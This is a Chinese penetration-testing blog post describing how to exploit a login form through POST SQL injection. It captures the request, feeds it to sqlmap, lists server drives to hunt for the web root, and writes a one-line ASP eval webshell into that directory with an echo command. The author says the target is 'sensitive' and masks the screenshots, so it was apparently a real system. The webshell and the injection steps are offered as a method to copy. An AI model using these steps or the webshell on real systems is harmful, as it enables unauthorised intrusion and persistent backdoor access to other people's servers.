post注入及提权思路

CracerCracer 2015-12-19 渗透测试 867 0 2

我们这次的目标有点敏感  性感的马赛克是必须有的

1

登陆表单 那么我们来看看是不是存在post注入

Setp1:设置代理

2

Step2:账户admin密码随意 提交上去  抓个包

3

把抓到的包复制到本地的一个文本里

4

Sqlmap走起

Sqlmap -r “/tmp/binghe” --batch

5

很幸运的

6

后来知道是内网,想连上服务器得拿到shell转发啊

 

怎么拿  先来列磁盘

 

dir c:\   ok

 

Dir d:\  ok

 

Dir e:\ 没有

 

.....

7

用dir 列了C和D盘都没有列到类似的web目录

8

在C、D 磁盘搜索

 

但是搜索什么?

 

嗯 我在那个登陆页面查看源码找到了一个js文件  访问确实存在

9

名为jquery.history.js

执行dir/s/b c:\jquery.history.js 在C盘内搜索名为jquery.history.js的文件并返回其路径

但是童话里都是骗人的。。。

10

说明这台机器上并不存在本文件

这说明了什么?

站 库 分 离 !

今天遇到两次??Real is fuck the dog! 真是日了狗了

这里权且不说,我们讲的是个思路  我们来本地模拟一下

11

获得网站根目录

 

c:\binghesec\web\

 

然后

 

echo “<%eval request("pass")%>”>c:\binghesec\web\binghesec.asp

12

你是不是想问一句话两边带个双引号会影响执行吗? 你试试不就知道了!!!

有大牛说,找不到根目录没关系,咱可以cmd下建虚拟目录嘛。。。目录你妹啊,你看哪个方便!但是思路确实是可行的,就是麻烦了点。

 

 

 

 

转载请注明来自Cracer,本文标题:《post注入及提权思路》

喜欢 (2) 发布评论
发表评论


Top